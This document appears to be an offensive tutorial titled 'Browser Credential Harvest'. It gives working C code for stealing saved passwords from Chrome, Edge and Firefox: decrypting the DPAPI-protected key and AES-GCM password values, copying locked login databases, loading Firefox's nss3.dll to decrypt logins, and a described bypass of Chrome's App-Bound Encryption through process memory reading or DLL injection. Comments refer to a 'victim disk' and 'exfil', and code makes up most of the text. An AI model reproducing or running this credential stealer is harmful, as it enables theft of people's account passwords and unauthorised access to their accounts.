Browser Credential Harvest

Chrome and Edge: DPAPI Master Key Decryption

  Chrome stores credentials in:
    %LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data   ← SQLite DB
    %LOCALAPPDATA%\Google\Chrome\User Data\Local State          ← JSON with enc key
  
  Encryption scheme (Chrome 80+):
  ─────────────────────────────────────────────────────────────────────────
  The "Local State" file contains a JSON key:
    "os_crypt": { "encrypted_key": "DPAPI" }
  
  1. Base64 decode "encrypted_key"
  2. Strip the "DPAPI" prefix (first 5 bytes = "DPAPI")
  3. Call CryptUnprotectData() on the remaining bytes
     → Windows DPAPI decrypts using the current user's master key
     → Result: a 32-byte AES-256 key ("Application Bound Encryption" key)
  
  4. Open Login Data SQLite database:
     SELECT origin_url, username_value, password_value FROM logins
  
  5. password_value format: "v10" prefix + 12-byte nonce + AES-256-GCM ciphertext
     
  6. Decrypt: AES-256-GCM(key=abe_key, nonce=password_value[3:15], ct=password_value[15:])
     → plaintext password
  
  Chrome 127+ (Application Bound Encryption, "ABE"):
  ─────────────────────────────────────────────────────────────────────────
  Chrome 127 introduced a stronger protection:
  The encryption key is protected by a COM server (elevation service) that
  verifies the caller is the Chrome binary. In theory this blocks third-party
  decryption. In practice, the verification is bypassable.
  
  Bypass: Extract the ABE key directly from Chrome's process memory
  while Chrome is running (it decrypts the key at startup and caches it
  in memory unprotected). Use ReadProcessMemory or DLL injection into Chrome.
  Alternative: Extract while Chrome is NOT running — DPAPI is still the
  underlying mechanism, and DPAPI calls from the user's session still work
  against the stored blob on Chrome <127 databases.

Chrome/Edge Extraction Implementation

/* browser_harvest.c — Extract Chrome/Edge credentials
   
   Dependencies: Windows CryptoAPI (dpapi.h), SQLite3 (statically linked),
   BCrypt (for AES-256-GCM decryption of individual passwords).
*/

#include <windows.h>
#include <dpapi.h>
#include <bcrypt.h>
#include <wincrypt.h>
#include <stdio.h>
#pragma comment(lib, "crypt32.lib")
#pragma comment(lib, "bcrypt.lib")

/* Simple base64 decoder — avoid external libraries */
static int b64_decode(const char *in, DWORD in_len, BYTE *out, DWORD out_sz) {
    static const char tbl[] =
        "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
    DWORD pos = 0;
    for (DWORD i = 0; i < in_len && in[i] != '='; i += 4) {
        DWORD val = 0;
        for (int j = 0; j < 4 && i+j < in_len && in[i+j] != '='; j++) {
            const char *p = strchr(tbl, in[i+j]);
            val = (val << 6) | (p ? (DWORD)(p-tbl) : 0);
        }
        if (pos + 3 <= out_sz) {
            out[pos++] = (BYTE)(val >> 16);
            out[pos++] = (BYTE)(val >> 8);
            out[pos++] = (BYTE)(val >> 0);
        }
    }
    return (int)pos;
}

/* Step 1: Extract and DPAPI-decrypt the AES key from Local State */
BOOL get_chrome_abe_key(const char *local_state_path, BYTE *key_out /* 32 bytes */) {
    /* Read Local State JSON file */
    HANDLE hFile = CreateFileA(local_state_path, GENERIC_READ, FILE_SHARE_READ,
                                NULL, OPEN_EXISTING, 0, NULL);
    if (hFile == INVALID_HANDLE_VALUE) return FALSE;

    DWORD file_size = GetFileSize(hFile, NULL);
    char *json = (char*)VirtualAlloc(NULL, file_size + 1, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
    DWORD read = 0;
    ReadFile(hFile, json, file_size, &read, NULL);
    CloseHandle(hFile);
    json[file_size] = 0;

    /* Find "encrypted_key":"..." in the JSON (minimal parsing) */
    char *key_start = strstr(json, "\"encrypted_key\":\"");
    if (!key_start) { VirtualFree(json, 0, MEM_RELEASE); return FALSE; }
    key_start += strlen("\"encrypted_key\":\"");
    char *key_end = strchr(key_start, '"');
    if (!key_end) { VirtualFree(json, 0, MEM_RELEASE); return FALSE; }

    DWORD b64_len = (DWORD)(key_end - key_start);
    BYTE decoded[1024] = {0};
    int dec_len = b64_decode(key_start, b64_len, decoded, sizeof(decoded));
    VirtualFree(json, 0, MEM_RELEASE);

    /* decoded = "DPAPI" (5 bytes) + DPAPI blob */
    if (dec_len < 5 || memcmp(decoded, "DPAPI", 5) != 0) return FALSE;

    /* DPAPI decrypt */
    DATA_BLOB input  = {(DWORD)(dec_len - 5), decoded + 5};
    DATA_BLOB output = {0, NULL};

    if (!CryptUnprotectData(&input, NULL, NULL, NULL, NULL, 0, &output)) {
        printf("[-] CryptUnprotectData failed: %lu\n", GetLastError());
        return FALSE;
    }

    if (output.cbData < 32) { LocalFree(output.pbData); return FALSE; }
    memcpy(key_out, output.pbData, 32);
    SecureZeroMemory(output.pbData, output.cbData);
    LocalFree(output.pbData);
    return TRUE;
}

/* Step 2: AES-256-GCM decrypt a single password value */
/*
 * password_value format: "v10" (3 bytes) + nonce (12 bytes) + ciphertext + GCM tag (16 bytes)
 */
BOOL chrome_decrypt_password(const BYTE *abe_key, const BYTE *encrypted,
                               DWORD enc_len, char *plaintext_out, DWORD pt_sz) {
    /* Expect "v10" prefix */
    if (enc_len < 3 + 12 + 1 + 16) return FALSE;
    if (memcmp(encrypted, "v10", 3) != 0) return FALSE;

    const BYTE *nonce = encrypted + 3;        /* 12-byte GCM nonce */
    const BYTE *ct    = encrypted + 3 + 12;  /* ciphertext */
    DWORD ct_len      = enc_len - 3 - 12 - 16;
    const BYTE *tag   = encrypted + enc_len - 16;

    /* BCrypt AES-GCM */
    BCRYPT_ALG_HANDLE hAlg = NULL;
    BCRYPT_KEY_HANDLE hKey = NULL;
    NTSTATUS status;

    status = BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, NULL, 0);
    if (!BCRYPT_SUCCESS(status)) return FALSE;

    BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE,
                      (BYTE*)BCRYPT_CHAIN_MODE_GCM, sizeof(BCRYPT_CHAIN_MODE_GCM), 0);

    DWORD key_obj_sz = 0, dummy = 0;
    BCryptGetProperty(hAlg, BCRYPT_OBJECT_LENGTH, (BYTE*)&key_obj_sz, sizeof(DWORD), &dummy, 0);
    BYTE *key_obj = (BYTE*)alloca(key_obj_sz);

    status = BCryptGenerateSymmetricKey(hAlg, &hKey, key_obj, key_obj_sz,
                                         (BYTE*)abe_key, 32, 0);
    if (!BCRYPT_SUCCESS(status)) { BCryptCloseAlgorithmProvider(hAlg, 0); return FALSE; }

    BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO auth_info;
    BCRYPT_INIT_AUTH_MODE_INFO(auth_info);
    auth_info.pbNonce    = (BYTE*)nonce;
    auth_info.cbNonce    = 12;
    auth_info.pbTag      = (BYTE*)tag;
    auth_info.cbTag      = 16;

    DWORD pt_written = 0;
    BYTE *pt_buf = (BYTE*)alloca(ct_len + 1);
    status = BCryptDecrypt(hKey, (BYTE*)ct, ct_len, &auth_info,
                           NULL, 0, pt_buf, ct_len, &pt_written, 0);
    
    BCryptDestroyKey(hKey);
    BCryptCloseAlgorithmProvider(hAlg, 0);

    if (!BCRYPT_SUCCESS(status)) return FALSE;

    pt_buf[pt_written] = 0;
    if (pt_written < pt_sz) {
        memcpy(plaintext_out, pt_buf, pt_written + 1);
        SecureZeroMemory(pt_buf, pt_written);
        return TRUE;
    }
    return FALSE;
}

/* Step 3: Query the Login Data SQLite database
   (SQLite3 linked statically — no sqlite3.dll on victim disk)
*/

/* Simplified SQLite3 query via direct file parsing is complex.
   For brevity: the standard approach uses sqlite3_open → sqlite3_prepare → sqlite3_step.
   The database must be opened with SQLITE_OPEN_READONLY | SQLITE_OPEN_SHAREDCACHE
   because Chrome keeps the DB locked while running.
   
   WORKAROUND for Chrome-locked DB: Copy the file to a temp location first.
   VSS (Volume Shadow Copy) can read locked files if available.
   Simpler: use the Windows "backup read" flag.
*/
BOOL copy_locked_db(const char *src_path, const char *dst_path) {
    HANDLE hSrc = CreateFileA(src_path, GENERIC_READ,
                               FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
                               NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hSrc == INVALID_HANDLE_VALUE) return FALSE;

    HANDLE hDst = CreateFileA(dst_path, GENERIC_WRITE, 0, NULL,
                               CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hDst == INVALID_HANDLE_VALUE) { CloseHandle(hSrc); return FALSE; }

    BYTE buf[65536]; DWORD read_bytes, written;
    while (ReadFile(hSrc, buf, sizeof(buf), &read_bytes, NULL) && read_bytes > 0)
        WriteFile(hDst, buf, read_bytes, &written, NULL);

    CloseHandle(hSrc);
    CloseHandle(hDst);
    return TRUE;
}

/* High-level extraction: enumerate all Chrome profiles, extract credentials */
void harvest_chrome_credentials(const char *chrome_base_path, BYTE *abe_key) {
    char local_state_path[MAX_PATH];
    snprintf(local_state_path, sizeof(local_state_path), "%s\\Local State", chrome_base_path);
    
    if (!get_chrome_abe_key(local_state_path, abe_key)) {
        printf("[-] Failed to get Chrome ABE key\n");
        return;
    }

    /* Enumerate profiles: Default, Profile 1, Profile 2, ... */
    const char *profiles[] = {"Default", "Profile 1", "Profile 2", "Profile 3", NULL};
    for (int pi = 0; profiles[pi]; pi++) {
        char db_path[MAX_PATH];
        snprintf(db_path, sizeof(db_path), "%s\\%s\\Login Data",
                 chrome_base_path, profiles[pi]);

        /* Copy locked DB to temp for reading */
        char tmp_path[MAX_PATH] = "C:\\Windows\\Temp\\ld_tmp.db";
        if (!copy_locked_db(db_path, tmp_path)) continue;

        printf("[+] Processing profile: %s\n", profiles[pi]);
        /* (sqlite3_open → query → decrypt each row → print/exfil) */
        /* Each row: origin_url, username_value, encrypted password_value */
        DeleteFileA(tmp_path);  /* Clean up temp copy */
    }
}

Firefox: NSS Key Database Decryption

  Firefox stores credentials in:
    %APPDATA%\Mozilla\Firefox\Profiles\\logins.json   ← credentials
    %APPDATA%\Mozilla\Firefox\Profiles\\key4.db       ← master key
    %APPDATA%\Mozilla\Firefox\Profiles\\cert9.db      ← certificates
  
  Encryption scheme:
  ─────────────────────────────────────────────────────────────────────────
  logins.json fields (per entry):
    "hostname"       → URL
    "encryptedUsername" → base64(ASN.1 CMS envelope containing username)
    "encryptedPassword" → base64(ASN.1 CMS envelope containing password)
  
  key4.db (SQLite):
    Table: metadata, nssPrivate → stores the master key encrypted with
    the user's Firefox master password (default: empty password)
  
  Without a master password:
    The NSS library can decrypt directly using the empty password.
    NSS_Init(profile_path) → PK11_GetInternalKeySlot() → PK11_CheckUserPassword("") →
    PK11_SDR_Decrypt(encrypted_value) → plaintext
  
  Key insight: NSS is Firefox's crypto library, and nss3.dll ships WITH Firefox.
  We can load nss3.dll from the Firefox installation, call its exported
  functions, and decrypt credentials without reimplementing the crypto ourselves.
  ─────────────────────────────────────────────────────────────────────────
  NSS function path:
    Load: C:\Program Files\Mozilla Firefox\nss3.dll
    NSS_Init(profile_path) — initialize with the profile
    NSS_SetDomesticPolicy()
    PK11_GetInternalKeySlot(&slot)
    PK11_CheckUserPassword(slot, "") — empty password for most users
    PK11_SDR_Decrypt(&encrypted_item, &decrypted_item, NULL)
    → decrypted_item.data = plaintext username or password

Firefox NSS Decryption via DLL Loading

/* firefox_harvest.c — Load nss3.dll and use it to decrypt Firefox credentials */

#include <windows.h>
#include <stdio.h>

/* NSS types and structures (subset we need) */
typedef int SECStatus;
#define SECSuccess 0

typedef struct {
    unsigned char *data;
    unsigned int   len;
} SECItem;

typedef void* PK11SlotInfo;

/* Function pointer types for NSS exports */
typedef SECStatus (*pfn_NSS_Init)(const char *configdir);
typedef SECStatus (*pfn_NSS_SetDomesticPolicy)(void);
typedef PK11SlotInfo* (*pfn_PK11_GetInternalKeySlot)(void);
typedef SECStatus (*pfn_PK11_CheckUserPassword)(PK11SlotInfo *slot, const char *pw);
typedef SECStatus (*pfn_PK11_SDR_Decrypt)(SECItem *data, SECItem *result, void *cx);
typedef SECStatus (*pfn_NSS_Shutdown)(void);
typedef void      (*pfn_SECITEM_FreeItem)(SECItem *item, int free_it);

typedef struct {
    HMODULE                  hNss3;
    pfn_NSS_Init             NSS_Init;
    pfn_NSS_SetDomesticPolicy NSS_SetDomesticPolicy;
    pfn_PK11_GetInternalKeySlot PK11_GetInternalKeySlot;
    pfn_PK11_CheckUserPassword  PK11_CheckUserPassword;
    pfn_PK11_SDR_Decrypt        PK11_SDR_Decrypt;
    pfn_NSS_Shutdown            NSS_Shutdown;
    pfn_SECITEM_FreeItem        SECITEM_FreeItem;
} NssContext;

/* Load nss3.dll from Firefox installation */
BOOL nss_load(NssContext *ctx, const char *firefox_path) {
    char nss3_path[MAX_PATH];
    snprintf(nss3_path, sizeof(nss3_path), "%s\\nss3.dll", firefox_path);
    
    /* Firefox DLLs depend on each other — load the dependency chain */
    char mozglue_path[MAX_PATH];
    snprintf(mozglue_path, sizeof(mozglue_path), "%s\\mozglue.dll", firefox_path);
    LoadLibraryA(mozglue_path);  /* Load mozglue first, nss3 depends on it */

    ctx->hNss3 = LoadLibraryA(nss3_path);
    if (!ctx->hNss3) {
        printf("[-] Failed to load nss3.dll from %s\n", nss3_path);
        return FALSE;
    }

#define LOAD_SYM(fn) ctx->fn = (pfn_##fn)GetProcAddress(ctx->hNss3, #fn); \
                     if (!ctx->fn) { printf("[-] Missing: " #fn "\n"); return FALSE; }
    LOAD_SYM(NSS_Init)
    LOAD_SYM(NSS_SetDomesticPolicy)
    LOAD_SYM(PK11_GetInternalKeySlot)
    LOAD_SYM(PK11_CheckUserPassword)
    LOAD_SYM(PK11_SDR_Decrypt)
    LOAD_SYM(NSS_Shutdown)
    LOAD_SYM(SECITEM_FreeItem)
#undef LOAD_SYM
    return TRUE;
}

BOOL nss_decrypt_item(NssContext *ctx, const char *profile_path,
                       const char *b64_encrypted, char *plaintext_out, DWORD pt_sz) {
    /* Initialize NSS with the Firefox profile */
    if (ctx->NSS_Init(profile_path) != SECSuccess) return FALSE;
    ctx->NSS_SetDomesticPolicy();

    PK11SlotInfo *slot = ctx->PK11_GetInternalKeySlot();
    ctx->PK11_CheckUserPassword(slot, "");  /* Empty master password */

    /* Decode the base64 ASN.1 envelope from logins.json */
    DWORD b64_len = (DWORD)strlen(b64_encrypted);
    BYTE *decoded = (BYTE*)alloca(b64_len + 4);
    int dec_len = b64_decode(b64_encrypted, b64_len, decoded, b64_len + 4);
    
    SECItem encrypted = {decoded, (unsigned int)dec_len};
    SECItem decrypted = {0};

    if (ctx->PK11_SDR_Decrypt(&encrypted, &decrypted, NULL) == SECSuccess) {
        DWORD copy_len = decrypted.len < pt_sz - 1 ? decrypted.len : pt_sz - 1;
        memcpy(plaintext_out, decrypted.data, copy_len);
        plaintext_out[copy_len] = 0;
        ctx->SECITEM_FreeItem(&decrypted, 0);
        ctx->NSS_Shutdown();
        return TRUE;
    }
    ctx->NSS_Shutdown();
    return FALSE;
}

/* Find Firefox profile path: %APPDATA%\Mozilla\Firefox\Profiles\ */
BOOL find_firefox_profile(char *profile_path_out, DWORD sz) {
    char appdata[MAX_PATH] = {0};
    ExpandEnvironmentStringsA("%APPDATA%\\Mozilla\\Firefox\\Profiles", appdata, sizeof(appdata));
    
    WIN32_FIND_DATAA fd = {0};
    HANDLE hFind = FindFirstFileA(appdata, &fd);  /* Actually need to enumerate subdirs */
    /* (find first directory in Profiles folder — simplified) */
    snprintf(profile_path_out, sz, "%s\\default-release", appdata);
    return TRUE;
}

Questions & Answers